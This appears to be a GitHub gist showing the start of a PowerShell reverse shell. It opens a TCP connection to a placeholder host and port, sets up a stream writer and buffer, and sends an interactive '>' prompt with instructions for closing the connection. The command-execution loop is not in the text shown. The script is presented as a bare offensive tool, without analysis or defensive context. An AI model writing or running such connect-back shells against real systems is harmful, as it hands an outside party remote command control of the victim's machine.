This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$socket = new-object System.Net.Sockets.TcpClient('<HOST>', <PORT>) | |
if ($socket -eq $null) { | |
exit 1 | |
} | |
$stream = $socket.GetStream() | |
$writer = new-object System.IO.StreamWriter($stream) | |
$buffer = new-object System.Byte[] 1024 | |
$encoding = new-object System.Text.AsciiEncoding | |
$writer.WriteLine("Hit Ctrl+C (not Ctrl+D!) or enter exit to close connection") | |
$writer.Write("> ") |